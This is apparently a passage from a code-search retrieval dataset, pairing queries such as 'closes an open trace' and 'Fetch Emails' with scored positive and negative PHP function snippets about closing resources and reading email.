query_id
stringlengths
32
32
query
stringlengths
7
5.32k
positive_passages
listlengths
1
1
negative_passages
listlengths
88
101
cd93b95714fa97eaa4873dd82b75747d
closes an open trace
[ { "docid": "8d914cf537ec7fb15e97bdbedc22dc1a", "score": "0.6316585", "text": "function shop_close_trace($output) {\n global $CFG;\n\n if (empty($output)) {\n if (!empty($CFG->merchanttrace)) {\n @fclose($CFG->merchanttrace);\n $CFG->merchanttrace = null;\n }\n } else if ($output == 'mail') {\n if (!empty($CFG->merchantmailtrace)) {\n @fclose($CFG->merchantmailtrace);\n $CFG->merchantmailtrace = null;\n }\n }\n\n}", "title": "" } ]
[ { "docid": "dd987143c11b90e1e264ee9b5116fcdb", "score": "0.65830654", "text": "function close(){}", "title": "" }, { "docid": "6852448b4be0ad4dd85a2beaf9b470fe", "score": "0.6272065", "text": "function\tclose() {\n\t}", "title": "" }, { "docid": "dec7889aa73a81cc006622b061e6079a", "score": "0.62375593", "text": "public function close(){}", "title": "" }, { "docid": "a4bcb3c0edafef76fa62b11bb3d5e8b6", "score": "0.6203597", "text": "public function close();", "title": "" }, { "docid": "a4bcb3c0edafef76fa62b11bb3d5e8b6", "score": "0.6203597", "text": "public function close();", "title": "" }, { "docid": "a4bcb3c0edafef76fa62b11bb3d5e8b6", "score": "0.6203597", "text": "public function close();", "title": "" }, { "docid": "a4bcb3c0edafef76fa62b11bb3d5e8b6", "score": "0.6203597", "text": "public function close();", "title": "" }, { "docid": "a4bcb3c0edafef76fa62b11bb3d5e8b6", "score": "0.6203597", "text": "public function close();", "title": "" }, { "docid": "a4bcb3c0edafef76fa62b11bb3d5e8b6", "score": "0.6203597", "text": "public function close();", "title": "" }, { "docid": "a4bcb3c0edafef76fa62b11bb3d5e8b6", "score": "0.6203597", "text": "public function close();", "title": "" }, { "docid": "a4bcb3c0edafef76fa62b11bb3d5e8b6", "score": "0.6203597", "text": "public function close();", "title": "" }, { "docid": "a4bcb3c0edafef76fa62b11bb3d5e8b6", "score": "0.6203597", "text": "public function close();", "title": "" }, { "docid": "a4bcb3c0edafef76fa62b11bb3d5e8b6", "score": "0.6203597", "text": "public function close();", "title": "" }, { "docid": "a4bcb3c0edafef76fa62b11bb3d5e8b6", "score": "0.6203597", "text": "public function close();", "title": "" }, { "docid": "a4bcb3c0edafef76fa62b11bb3d5e8b6", "score": "0.6203597", "text": "public function close();", "title": "" }, { "docid": "a4bcb3c0edafef76fa62b11bb3d5e8b6", "score": "0.6203597", "text": "public function close();", "title": "" }, { "docid": "a4bcb3c0edafef76fa62b11bb3d5e8b6", "score": "0.6203597", "text": "public function close();", "title": "" }, { "docid": "a4bcb3c0edafef76fa62b11bb3d5e8b6", "score": "0.6203597", "text": "public function close();", "title": "" }, { "docid": "a4bcb3c0edafef76fa62b11bb3d5e8b6", "score": "0.6203597", "text": "public function close();", "title": "" }, { "docid": "a4bcb3c0edafef76fa62b11bb3d5e8b6", "score": "0.6203597", "text": "public function close();", "title": "" }, { "docid": "7ddd68cd4fa98ed88446d9eea98485cb", "score": "0.6165944", "text": "function close();", "title": "" }, { "docid": "7ddd68cd4fa98ed88446d9eea98485cb", "score": "0.6165944", "text": "function close();", "title": "" }, { "docid": "80bfa7d26c89985d2f15337847325807", "score": "0.6035847", "text": "public abstract function close();", "title": "" }, { "docid": "2f9ff93cfd71873e2757a44a3f91fc21", "score": "0.6023523", "text": "public function close() : void;", "title": "" }, { "docid": "7172d6aca0394860a4577e01b313eaa4", "score": "0.59395134", "text": "abstract public function close();", "title": "" }, { "docid": "7172d6aca0394860a4577e01b313eaa4", "score": "0.59395134", "text": "abstract public function close();", "title": "" }, { "docid": "7172d6aca0394860a4577e01b313eaa4", "score": "0.59395134", "text": "abstract public function close();", "title": "" }, { "docid": "7172d6aca0394860a4577e01b313eaa4", "score": "0.59395134", "text": "abstract public function close();", "title": "" }, { "docid": "7172d6aca0394860a4577e01b313eaa4", "score": "0.59395134", "text": "abstract public function close();", "title": "" }, { "docid": "1ec2839be0c4521d2062b8385215f485", "score": "0.5938444", "text": "private function __close(){}", "title": "" }, { "docid": "8e8186a752f2b8da801dd9dc94d467e0", "score": "0.59250885", "text": "public function close() {}", "title": "" }, { "docid": "8e8186a752f2b8da801dd9dc94d467e0", "score": "0.59250885", "text": "public function close() {}", "title": "" }, { "docid": "8e8186a752f2b8da801dd9dc94d467e0", "score": "0.59250885", "text": "public function close() {}", "title": "" }, { "docid": "8e8186a752f2b8da801dd9dc94d467e0", "score": "0.59250885", "text": "public function close() {}", "title": "" }, { "docid": "59898093a050df17d27bccf5d5de0085", "score": "0.5914835", "text": "public function close() { }", "title": "" }, { "docid": "a0cc651e8b2c0df47023835f8d9bde11", "score": "0.58985764", "text": "public function close(): void;", "title": "" }, { "docid": "d90ca330d5ec8a2baac1b87a08483e05", "score": "0.589032", "text": "public function close(): void {}", "title": "" }, { "docid": "d6d64748d91ae80fc5e3257574f033e0", "score": "0.5794145", "text": "public static function close() {\n }", "title": "" }, { "docid": "4678c932b01c3985f14a7bf2b79d23a4", "score": "0.5727627", "text": "public function close()\n {\n if (isset($this->application)) {\n //---- Open the Application\n $this->application->close();\n\n } else {\n // FB::error('Application not set in phpAnvil.');\n $this->_logError('Application not set in phpAnvil.');\n }\n\n\n $this->triggerEvent('phpAnvil.close');\n\n\n $this->session->close();\n\n // $this->_logDebug('session closed');\n\n sendDebugTrace();\n //\t\t$this->db->close();\n\n }", "title": "" }, { "docid": "9d6ef73a5eb0edad591979b4a2f4ab67", "score": "0.567946", "text": "public function close () {\n\t}", "title": "" }, { "docid": "f9589b72d07977b89eded8349a1a15ae", "score": "0.5663944", "text": "public abstract function close() : int;", "title": "" }, { "docid": "42e2378b67fe60902480c1baa5a66a92", "score": "0.5661141", "text": "public function close() : string;", "title": "" }, { "docid": "158a985dfe69ca14c403aa1df77782e7", "score": "0.56452566", "text": "public function close() {\n \n }", "title": "" }, { "docid": "c1db9cb56f7dc3603b4b207f2c9e6643", "score": "0.5644398", "text": "function Close(\n )\n {\n /* method Close */\n }", "title": "" }, { "docid": "08f8914176b9fc9fbb4b1ccd8add1597", "score": "0.5603075", "text": "public function close() {\n\t}", "title": "" }, { "docid": "08f8914176b9fc9fbb4b1ccd8add1597", "score": "0.5603075", "text": "public function close() {\n\t}", "title": "" }, { "docid": "08f8914176b9fc9fbb4b1ccd8add1597", "score": "0.5603075", "text": "public function close() {\n\t}", "title": "" }, { "docid": "edd8daf4debbe435971447f64181e512", "score": "0.5581993", "text": "public function close() : void {\n # ignore\n }", "title": "" }, { "docid": "9da27e65e3a1efe2573466c359472c45", "score": "0.5572853", "text": "public function close()\n {\n //\n }", "title": "" }, { "docid": "0563dc8f51370e60fd9270fcec3968c7", "score": "0.5565607", "text": "public function close()\n {\n }", "title": "" }, { "docid": "0563dc8f51370e60fd9270fcec3968c7", "score": "0.5565607", "text": "public function close()\n {\n }", "title": "" }, { "docid": "0563dc8f51370e60fd9270fcec3968c7", "score": "0.5565607", "text": "public function close()\n {\n }", "title": "" }, { "docid": "0563dc8f51370e60fd9270fcec3968c7", "score": "0.5565607", "text": "public function close()\n {\n }", "title": "" }, { "docid": "0563dc8f51370e60fd9270fcec3968c7", "score": "0.5565607", "text": "public function close()\n {\n }", "title": "" }, { "docid": "0563dc8f51370e60fd9270fcec3968c7", "score": "0.5565607", "text": "public function close()\n {\n }", "title": "" }, { "docid": "03e5e924a007ca2dbad459e6933ab7a2", "score": "0.5546822", "text": "public function close(): void\n {\n }", "title": "" }, { "docid": "b93fc1cde79fbb98eada76f2b5fb225b", "score": "0.5499423", "text": "public function close() {\n\t\tif (Configure::read('debug') > 1) {\n\t\t\t//$this->showLog();\n\t\t}\n\t\t$this->disconnect();\n\t}", "title": "" }, { "docid": "37152233f20354a9fdd7d7c805bd1199", "score": "0.54671794", "text": "public function close()\n {\n $this->locked = true;\n }", "title": "" }, { "docid": "becc2c352637b1eb757576d8c9e09e28", "score": "0.54621387", "text": "public function close($id);", "title": "" }, { "docid": "8e692fedde011b928b96d826495c5631", "score": "0.5445616", "text": "public function close()\n {\n\n }", "title": "" }, { "docid": "c10fae773218bddf259bbbd8cef5a715", "score": "0.5444534", "text": "protected function close(): void\n {\n $this->canary->cancel();\n $this->inflate = null;\n }", "title": "" }, { "docid": "8f3b9533d9b10802b9b921f064d07b7e", "score": "0.543893", "text": "private function close() {\n\t\t\tif( null !== $this->log_fp && is_resource( $this->log_fp ) ) {\n\t\t\t\tfclose( $this->log_fp );\n\t\t\t\t$this->log_fp = null;\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "5a8da097a31f09adb3f4f7c67857b832", "score": "0.54068065", "text": "public function close() : int {\n return 0;\n }", "title": "" }, { "docid": "99d31b3e88089226f7f2a8a8ad2c832a", "score": "0.53945225", "text": "public static function lclose() {\n\t\tfclose(self::$fp);\n\t}", "title": "" }, { "docid": "c5cca92e7d0e50a3168c284abf38dd3e", "score": "0.5393117", "text": "function pclose($handle)\n{\n}", "title": "" }, { "docid": "d75cca0986922afe9d661e7d10b28035", "score": "0.5391066", "text": "function Close()\n\t{\n\n\t}", "title": "" }, { "docid": "223a0ea723475c330f0e2e0ee389801f", "score": "0.5387668", "text": "public function close(float $timeout = null);", "title": "" }, { "docid": "a6f1f056da4e78b606b4ab7b99f9d6b5", "score": "0.5346915", "text": "public function close() : void {\n\t\t\t$this->mark = 0;\n\t\t\t$this->position = 0;\n\t\t}", "title": "" }, { "docid": "2e9220db05295c2f712e7c1ecb7f0b66", "score": "0.5333662", "text": "function close() {\n\t\t$this->disconnect();\n\t}", "title": "" }, { "docid": "ec40e6796df78ed27f651cafc840dadc", "score": "0.5266474", "text": "public function lclose() {\n fclose($this->fp);\n }", "title": "" }, { "docid": "32ca65841e0334650e20c2ad3214d3be", "score": "0.5227776", "text": "function closeFile() \r\n {\r\n if (isset($this->sp)) {\r\n @fclose($this->sp);\r\n }\r\n }", "title": "" }, { "docid": "30483451e9573818da1a6bd20cec2724", "score": "0.5219916", "text": "public function pathClose();", "title": "" }, { "docid": "ec8ccf8ef57b5d5da16dd941383e01f3", "score": "0.5218106", "text": "function close( $ticket_id )\r\r\n {\r\r\n if( is_numeric( $ticket_id ) && $this->ticket_model->exists_ticket( $ticket_id ) == 1)\r\r\n {\r\r\n if( $this->ticket_model->close_ticket( $ticket_id ) )\r\r\n {\r\r\n echo 'closed';\r\r\n }\r\r\n }\r\r\n }", "title": "" }, { "docid": "87d96eb1701153dc09edd05020c08bc8", "score": "0.52174324", "text": "private function close()\n {\n if ($this->handle) {\n @fclose($this->handle);\n\n $this->handle = null;\n }\n }", "title": "" }, { "docid": "903e3291f4863f53f2e1aa9fc5bdc163", "score": "0.51847893", "text": "public function close()\n {\n $this->disconnect();\n }", "title": "" }, { "docid": "f8017e704b5beca3b2ea75c0e4685114", "score": "0.5182557", "text": "public function close() {\n if ($this->getOpen()){\n $this->setOpen(false);\n echo \"<p>The Book was closed</p>\";\n } else{\n echo \"<p>Error: the book is arelady closed</p>\";\n }\n \n }", "title": "" }, { "docid": "3379ad96281d16ea171f6129d198af5e", "score": "0.5159104", "text": "public function __destruct() {\n $this->closeSocket(self::ID_PARENT);\n echo IANSIControl::CRSR_ON;\n $this->reportRedraw();\n }", "title": "" }, { "docid": "c8d0191a4efad51f3ec642dd68aa397c", "score": "0.5157542", "text": "public function close() {\n\t\t$this->da->disconnect();\n\t\t$this->da = null;\n\t}", "title": "" }, { "docid": "64eb8bbbfef6e638cdd01b1ae4e2752e", "score": "0.51521134", "text": "protected function x_close_ok()\n {\n $this->send_method_frame(array(10, 61));\n $this->do_close();\n }", "title": "" }, { "docid": "5e653a3aed50b654ad38f6459ae9c1ee", "score": "0.51370007", "text": "public function __destruct() {\n $this->close();\n }", "title": "" }, { "docid": "5e653a3aed50b654ad38f6459ae9c1ee", "score": "0.51370007", "text": "public function __destruct() {\n $this->close();\n }", "title": "" }, { "docid": "5e65e063fae63e1eac85281045da9d5d", "score": "0.5135002", "text": "abstract protected function onObjectClose();", "title": "" }, { "docid": "374ea0e9ae41415ab993bf8b7b781de0", "score": "0.51315844", "text": "abstract public function close( $reference );", "title": "" }, { "docid": "9b16ef44b87a4beac478b0f6cf290e1d", "score": "0.51121914", "text": "public function __destruct() {\n $this->close();}", "title": "" }, { "docid": "16321772fbc53d1b019c027554fb2756", "score": "0.5105255", "text": "function close()\n {\n parent::close();\n \n }", "title": "" }, { "docid": "470a754a666dcbd8e070b39740f1b299", "score": "0.5104923", "text": "private function fsClose()\n {\n $this->call('fs', [\n 'mode' => 'close',\n '--fs-path' => $this->fs_path,\n '--source-path' => $this->source_path,\n ]);\n }", "title": "" }, { "docid": "13e0f849fd5236e63ce47ce93cd595bb", "score": "0.5101235", "text": "public function __destruct()\n {\n $this->close(true);\n }", "title": "" }, { "docid": "ccf63ef6e17d5d886c96d69c1413f77e", "score": "0.5100392", "text": "public function __destruct() {\n $this->closeLogFile();\n }", "title": "" }, { "docid": "7a6a4cd7e076c8f075e07c7d21166f63", "score": "0.5088303", "text": "public function close() : void {\n\n if (!$this->_isClosed) {\n $this->_shouldReportClose = TRUE;\n }\n\n $this->_isClosed = TRUE;\n\n if (is_resource($this->_stream)) {\n\n $stream = $this->_stream;\n $this->_stream = NULL;\n\n fclose($stream);\n\n }\n\n // To prevent the warning that there was still data to write\n $this->_clearBuffers();\n $this->_resetFrameData();\n\n }", "title": "" }, { "docid": "51f03bfac37f2fff9fefeb83526d4fdf", "score": "0.5078352", "text": "public function close($a = null)\n {\n throw new NotImplementedException(__METHOD__);\n }", "title": "" }, { "docid": "51f03bfac37f2fff9fefeb83526d4fdf", "score": "0.5078352", "text": "public function close($a = null)\n {\n throw new NotImplementedException(__METHOD__);\n }", "title": "" }, { "docid": "cbef8d872a1307f153f4813c8bd86041", "score": "0.5077822", "text": "function close()\n {\n if ($this->_opened && !$this->_inherit) {\n closelog();\n $this->_opened = false;\n }\n\n return true;\n }", "title": "" }, { "docid": "530bd65b1dcc34eb0509b230e66fcd87", "score": "0.5076187", "text": "public function close()\n {\n Application::executeControlCommand($this->getJqControlId(), $this->getJqSetupFunction(), \"close\", Application::PRIORITY_LOW);\n }", "title": "" }, { "docid": "db75ac768acc5c651b3239aed6d86e52", "score": "0.5064952", "text": "protected function closeLogFile() {\n if($this->fileHandle != NULL) {\n fclose($this->fileHandle);\n $this->fileHandle = NULL;\n }\n }", "title": "" }, { "docid": "ca261f2f3fdb79ad365c5a4488e3fdc3", "score": "0.5059515", "text": "protected function _close() : bool {}", "title": "" }, { "docid": "0ed157e740068aa93175f547ae2fd3ca", "score": "0.5055499", "text": "public function __destruct() {\n $this->close();\n }", "title": "" }, { "docid": "0ed157e740068aa93175f547ae2fd3ca", "score": "0.5055499", "text": "public function __destruct() {\n $this->close();\n }", "title": "" }, { "docid": "9a610826ee66d6b7b2c28f9d613fc70c", "score": "0.5052858", "text": "public function close(): bool;", "title": "" }, { "docid": "04cd0818e584201b0ecc889499475187", "score": "0.50527287", "text": "function __destruct() {\r\n $this->close();\r\n }", "title": "" }, { "docid": "61623224a2e414db2bfcac25dbde8fdb", "score": "0.5052722", "text": "public function __destruct()\r\n {\r\n $this->close();\r\n }", "title": "" } ]
d66257498a03ed51bafe4ba9911af41d
Fetch Emails. Accessible from tests, fetches all emails
[ { "docid": "a80f91c89d52b2bfb01508044a659113", "score": "0.7941789", "text": "public function fetchEmails(): void\n {\n $this->fetchedEmails = [];\n\n try {\n $response = $this->mailhog->request('GET', '/api/v1/messages');\n $this->fetchedEmails = json_decode($response->getBody(), false);\n } catch (Exception $e) {\n $this->fail('Exception: ' . $e->getMessage());\n }\n $this->sortEmails($this->fetchedEmails);\n\n // by default, work on all emails\n $this->setCurrentInbox($this->fetchedEmails);\n }", "title": "" } ]
[ { "docid": "2135dd255c6899e2429321b27554868b", "score": "0.7890979", "text": "function getAllEmails() {\n return getALL('SELECT * FROM mail');\n}", "title": "" }, { "docid": "490cc5b482da9d324e44f95f33776eb5", "score": "0.74727935", "text": "function getEmails() {\n\treturn db_query(\"SELECT email FROM Emails\");\n}", "title": "" }, { "docid": "a8c13916442786e409c3c204906a6c3e", "score": "0.7139335", "text": "public function getAllEmails() {\n $this->db->cache = false;\n if (!$this->db->from($this->table)->select('email')->all()) {\n return [];\n }\n return $this->db->from($this->table)->select('email')->all();\n }", "title": "" }, { "docid": "7793f6b78c074e14f2b9de6cc9300cab", "score": "0.7128396", "text": "public function getEmails()\n\t{\n \\Phalcon\\DI::getDefault()->get('logger')->log(\"Emails: \" . print_r($this->emails, true));\n\t\treturn $this->emails;\n\t}", "title": "" }, { "docid": "7d96e6033c5e76273a937d4bb7da3d0d", "score": "0.69899833", "text": "public function getEmails(){\r\n \r\n $dbConfig = array(\r\n \"DB_DNS\" => 'mysql:host=localhost;port=3306;dbname=PHPadvClassSpring2015',\r\n \"DB_USER\" => 'root', \r\n \"DB_PASSWORD\" => '');\r\n $pdo = new DB($dbConfig);\r\n $db = $pdo->getDB();\r\n $stmt = $db->prepare(\"SELECT * FROM emailtype where active = 1\");\r\n if ($stmt->execute() && $stmt->rowCount() > 0) {\r\n $results = $stmt->fetchAll(PDO::FETCH_ASSOC);\r\n echo '<h3>Types of E-mails</h3>';\r\n foreach ($results as $value) {\r\n echo '<p>- <strong>', $value['emailtype'], '</strong></p>';\r\n }\r\n } else {\r\n echo '<p>No data found!</p>';\r\n } \r\n \r\n }", "title": "" }, { "docid": "4705cfa247292c5170bddcaa25390100", "score": "0.6973048", "text": "public function findAllEmails()\r\n {\r\n try {\r\n $query = 'SELECT email FROM login';\r\n $stmt = $this->conn->prepare($query);\r\n $stmt->execute();\r\n $result = $stmt->fetchAll(PDO::FETCH_ASSOC);\r\n if ($result == false) {\r\n return false;\r\n } else {\r\n return $result;\r\n }\r\n } catch (PDOException $e) {\r\n echo \"get accounts error\";\r\n die();\r\n }\r\n }", "title": "" }, { "docid": "776fc579e1bd65098dc2647a75db1012", "score": "0.6928167", "text": "public function getEmails()\n {\n return $this->emails;\n }", "title": "" }, { "docid": "776fc579e1bd65098dc2647a75db1012", "score": "0.6928167", "text": "public function getEmails()\n {\n return $this->emails;\n }", "title": "" }, { "docid": "2a1aa95b22f7072041032b47c304234d", "score": "0.68621594", "text": "public function getEmails()\n {\n $response = $this->get('user/emails');\n\n return $response['emails'];\n }", "title": "" }, { "docid": "b44b934a6b4fb14450a15e39ecad7e1e", "score": "0.68613905", "text": "function listEmails(){\n \n $conn = $this->connect();\n $ret = '';\n \n $sql = 'select email from ' . $this->dbtable;\n\t\t\t$query = mysql_query( $sql, $conn );\n \n\t\t\twhile( $row = mysql_fetch_assoc( $query ) ){\n\t\t\t\t$ret .= $row['email'] . \";\\n\";\n\t\t\t}\n \n mysql_close( $conn );\n \n\t\t\treturn $ret;\n }", "title": "" }, { "docid": "32de750c4aec95f438e98e7f97da1a27", "score": "0.6854921", "text": "public function test_all_email_endpoint()\n {\n $response = $this->json('GET', route('emails.index'));\n $response->assertStatus(200);\n }", "title": "" }, { "docid": "a2919ae1c3f03ba0831334604c2b6b66", "score": "0.67782515", "text": "public function getAllEmails() {\n $users = $this->getDoctrine()->getRepository(User::class)->findAll();\n $emails = [];\n foreach($users as $email) {\n if(\"[email protected]\" != $email->getEmail())\n array_push($emails, $email->getEmail());\n }\n\n return $emails;\n }", "title": "" }, { "docid": "e39a250dbd66c96082f380090ae8f8bc", "score": "0.67607003", "text": "public function emails()\n {\n return $this->emails;\n }", "title": "" }, { "docid": "d55230e612e49ad88a02a1f6ee473a55", "score": "0.6751628", "text": "public function getEmails() {\n\t\treturn empty( $this->container['emails'] ) ? null : $this->container['emails'];\n\t}", "title": "" }, { "docid": "ef72907b7bc9f3f134becd5261a75e6f", "score": "0.6750882", "text": "public function getContactAllEmail()\n\t{\n\t\t$emails = 'nothing';\n\n\t\tif( $this->token != '' )\n\t\t{\n\t\t\t$url = $this->url . \"/Contacts/filter\";\n\t\t\t$filter_arguments = array(\n\t\t\t\t\"offset\" => 0,\n\t\t\t\t\"fields\" => \"id,portal_name\",\n\t\t\t);\n\n\t\t\t$response = self::call($url, $this->token, 'GET',$filter_arguments);\n\n\t\t\t$email_records = $response->records;\n\n\t\t\tforeach($email_records as $record)\n\t\t\t{\n\t\t\t\t$emails[] = $record->portal_name;\n\t\t\t}\n\t\t}\n\n\t\treturn $emails;\n\t}", "title": "" }, { "docid": "e1e73411e5c5c3363da54226676525f0", "score": "0.6671622", "text": "function get_emails($return_email = '')\n\t{\n\t\t$xml = $this->load_url(\"settings/emailaddresses\");\n\n\t\tif(!$xml):\n\t\t\treturn false;\n\t\tendif;\n\n\t\t// parse into nicer array\n\t\t$emails = array();\n\t\t$_emails = (isset($xml['feed']['entry'])) ? $xml['feed']['entry'] : false;\n\n\t\tif(is_array($_emails)):\n\t\t\tif(isset($_emails[0]['link_attr']['href'])):\n\t\t\t\tforeach($_emails as $k => $v):\n\t\t\t\t\t$id = $this->get_id_from_link($v['link_attr']['href']);\n\t\t\t\t\t$email = $v['content']['Email'];\n\t\t\t\t\t$email['id'] = $id;\n\n\t\t\t\t\tif($return_email && $return_email == $v['content']['Email']['EmailAddress']):\n\t\t\t\t\t\t// return single email\n\t\t\t\t\t\treturn $email;\n\t\t\t\t\tendif;\n\n\t\t\t\t\t$emails[] = $email;\n\t\t\t\tendforeach;\n\t\t\telse:\n\t\t\t\t$id = $this->get_id_from_link($_emails['link_attr']['href']);\n\t\t\t\t$email = $_emails['content']['Email'];\n\t\t\t\t$email['id'] = $id;\n\t\t\t\t$emails[] = $email;\n\n\t\t\t\tif($return_email && $return_email == $_emails['content']['Email']['EmailAddress']):\n\t\t\t\t\t// return single email\n\t\t\t\t\treturn $email;\n\t\t\t\tendif;\n\t\t\tendif;\n\n\t\tendif;\n\n\t\treturn $emails;\n\t}", "title": "" }, { "docid": "712191c4f057103f8f1687fd7aedf314", "score": "0.666793", "text": "public function getEmailReferrers();", "title": "" }, { "docid": "20e00c7419c67350e36e6f9ca57fc7dd", "score": "0.66279566", "text": "public function getOrderEmailList(){\n // Set method and action\n $method = 'email';\n $action = 'getOrderEmailList';\n\n // Set data\n $data = array('params' => true);\n\n // Send request and retrieve response\n $result = Dispatcher::send($method, $action, $data);\n\n return $result;\n }", "title": "" }, { "docid": "d7492d3ca923e88b73d0642188aee686", "score": "0.66250163", "text": "private function emailList()\n {\n return array(\n '[email protected]',\n '[email protected]',\n '[email protected]',\n );\n }", "title": "" }, { "docid": "0af86904faa8557dba2eea8ed8536e37", "score": "0.6601903", "text": "public function getEmail(){\n\t\t\t\t\t\t\t$sql = \"SELECT email from users \";\n\t\t\t\t\t\t\t$statement = $this->db->prepare($sql);\n\t\t\t\t\t\t\t$statement->execute();\n\t\t\t\t\t\t\t$result = $statement->fetch();\n\t\t\t\t\t\t\t// $result = $statement->fetchAll();\n\n\t\t\t\t\t\t\tprint_r($result);\n\t\t\t\t\t\n\t\t\t\t\t}", "title": "" }, { "docid": "6e8533ebdb1c2fa416927fb922f277f0", "score": "0.659195", "text": "public function getAllEmail()\n {\n $query = $this->db->select('first_name, last_name, email')\n ->get('user');\n return $query->result_object();\n }", "title": "" }, { "docid": "87a0056a208f540929b7e87a8a07ad5a", "score": "0.6566506", "text": "public function retrieveAllMails()\n {\n $mails = new Collection();\n for($i = 1; $i <= $this->countAllMails(); $i++)\n {\n $mails->add($this->retrieveMail($i));\n }\n return $mails;\n }", "title": "" }, { "docid": "97217f464c34d8f28e1cface4113c91b", "score": "0.65533173", "text": "public function GetEmailAddresses()\n {\n $dbTalker = new DbTalker();\n return $dbTalker->GetAllMembersAndEmails();\n }", "title": "" }, { "docid": "c7398566c1e3f17c0dc8e2afd29a3732", "score": "0.6535515", "text": "private function _fetchEmailsFromInbox()\n {\n // refresh the cache\n $this->imapConnection->getResource()->clearLastMailboxUsedCache();\n $messages = $this->inbox->getMessages();\n if ($messages instanceof \\ArrayIterator) {\n $messages = iterator_to_array($messages);\n }\n\n return $messages;\n }", "title": "" }, { "docid": "9a519a2a48e4f72deb0038ae58c29b10", "score": "0.6489211", "text": "public function getAllMails()\n {\n $user = Auth::user();\n $emails = DB::table('users')->select('id','email')->get();\n return response()->json($emails);\n }", "title": "" }, { "docid": "a9be12825589cd423838be1f2cb456fe", "score": "0.64776456", "text": "public function get()\n {\n if (!$this->connect()) {\n throw new Exception('ERROR: Could not connect.');\n }\n\n if ($this->id) {\n $this->emails = array();\n\n $this->emails[] = $this->getEmail($this->id);\n\n return $this->emails;\n }\n\n $this->emails = array();\n\n $this->email_index = imap_search(\n $this->stream(),\n $this->modes(),\n false,\n $this->encoding\n );\n\n if (!$this->limit) {\n $this->limit = isset($this->email_index) && is_array($this->email_index) ? count($this->email_index) : 0;\n }\n\n if ($this->email_index) {\n if ($this->order == 'DESC') {\n rsort($this->email_index);\n } else {\n sort($this->email_index);\n }\n\n if ($this->limit || ($this->limit && $this->offset)) {\n $this->email_index = array_slice(\n $this->email_index,\n $this->offset,\n $this->limit\n );\n }\n\n $this->emails = array();\n\n foreach ($this->email_index as $id) {\n $this->emails[] = $this->getEmailByMessageSequence($id);\n\n if ($this->mark_as_read) {\n $this->markAsRead($id);\n }\n }\n }\n\n return $this->emails;\n }", "title": "" }, { "docid": "691bc552f209845ec79022c287da072f", "score": "0.64760864", "text": "public function getAllEmailAddresses() {\n $saveCurrentFolder = $this->folder;\n $emails = array();\n foreach($this->getFolders() as $folder) {\n $this->selectFolder($folder);\n foreach($this->getMessages(false) as $message) {\n $emails[] = $message['from'];\n $emails = array_merge($emails, $message['to']);\n if (isset($message['cc'])) {\n $emails = array_merge($emails, $message['cc']);\n }\n }\n }\n $this->selectFolder($saveCurrentFolder);\n return array_unique($emails);\n }", "title": "" }, { "docid": "63ab63a58bd958093439351e4d909146", "score": "0.6440385", "text": "public function emails()\n\t{\n\t\treturn $this->oneToMany(__NAMESPACE__ . '\\\\Mailinglist\\\\Email', 'mid');\n\t}", "title": "" }, { "docid": "22c76932ddde42a4132b0e5f3bb1de97", "score": "0.6378645", "text": "public function retrieveEmailTemplates()\n {\n return $this->start()->uri(\"/api/email/template\")\n ->get()\n ->go();\n }", "title": "" }, { "docid": "d20716628a414433982ac475b176ac78", "score": "0.63735425", "text": "public function getUserRequests($email) {\n $this->noNullParameters($email);\n\n $response = $this->client->getConnection()->get(Url::build(self::PATH.'s','list-by-email',['email'=>$email]));\n return $response->getBody()->getContents();\n }", "title": "" }, { "docid": "3ec74da941aa004c809a23f28932e55e", "score": "0.6347863", "text": "public function read_returned_emails($extension = '.eml')\n {\n $directory = \"public/returned_emails/\";\n\n //get all image files with a .jpg extension.\n $files = glob($directory . \"*\" . $extension);\n\n return $files;\n }", "title": "" }, { "docid": "22b9d5e15266e9c970b28f57a87a68e0", "score": "0.6334999", "text": "public function getMails(): Collection\n {\n\n return $this->mails;\n\n }", "title": "" }, { "docid": "0d1d8eb5f00e013a47a19c4aaf348b42", "score": "0.6308873", "text": "private function email(){\n\t\t\tif($this->get_request_method() != \"POST\"){\n\t\t\t\t$this->response('',406);\n\t\t\t}\n\t\t\t$email = $this->_request['email'];\n\t\t\t$sql = mysql_query(\"SELECT email FROM accounts WHERE email = '\".$email.\"'\", $this->db);\n\t\t\tif(mysql_num_rows($sql) > 0){\n\t\t\t\t$result = array();\n\t\t\t\twhile($rlt = mysql_fetch_array($sql,MYSQL_ASSOC)){\n\t\t\t\t\t$result[] = $rlt;\n\t\t\t\t}\n\t\t\t\t// If success everythig is good send header as \"OK\" and return list of users in JSON format\n\t\t\t\techo json_encode(array('valid' =>FALSE));\n\t\t\t} else {\n\t\t\t\techo json_encode(array('valid' =>TRUE));\n\t\t\t}\n\t\t\t//$this->response('',204);\t// If no records \"No Content\" status\n\t\t}", "title": "" }, { "docid": "8dc0d411b0eebb2bfc3d6161ba284bca", "score": "0.630622", "text": "public function get_emails() {\n\n\t\t$emails = array();\n\n\t\tforeach ( $this->settings['recipients'] as $item ) {\n\t\t\t$emails[] = $item['value'];\n\t\t}\n\n\t\treturn $emails;\n\t}", "title": "" }, { "docid": "c9596b755a735351afd10eb37c5e43a2", "score": "0.6298113", "text": "function getMailList() {\n return getAll(\"SELECT id,`email` FROM `member` WHERE id != ?\"\n , [getLogin()['mid']]);\n}", "title": "" }, { "docid": "0fd73e668e65a7ddc49e0d3ada9e18d0", "score": "0.6269249", "text": "public function getEmails()\n {\n if (!isset($this->options['keep'])) {\n throw new BadMethodCallException(\"This function only works with the `keep` option\");\n }\n \n return $this->emails;\n }", "title": "" }, { "docid": "185e32436e95bf50db89d967d75ade3b", "score": "0.6253259", "text": "private function disposableEmailList()\n {\n return array(\n '[email protected]',\n '[email protected]',\n '[email protected]',\n '[email protected]',\n '[email protected]',\n );\n }", "title": "" }, { "docid": "63fc3395dd75e3c8cd451b50cc685bf8", "score": "0.6205642", "text": "function get_all_mailings(){\n \n #api return count 25 as default.\n #set max count in rowCount as 500\n $params = array(\n 'version' => 3,\n 'sequential' => 1,\n 'rowCount' => 500 \n );\n \n /*$sql = \"Select count(*) as count From civicrm_mailing\";\n $mailingCount = CRM_Core_DAO::singleValueQuery($sql);\n if($mailingCount > 25){\n $params['rowCount'] = $mailingCount;\n }*/\n $aMailings = civicrm_api('Mailing', 'get', $params);\n if( $aMailings['is_error'] == 1 ){\n watchdog( WATCHDOG_DEBUG\n , \"Calling get_all_mailings():\\n\" .\n '$aMailings:' . print_r( $aMailings, true ) . \"\\n\"\n );\n return;\n }\n foreach ( $aMailings['values'] as $key => $mailing ){\n $pMailingJob = array(\n 'version' => 3,\n 'sequential' => 1,\n 'mailing_id' => $mailing['id']\n );\n $aMailingJob = civicrm_api('MailingJob', 'get', 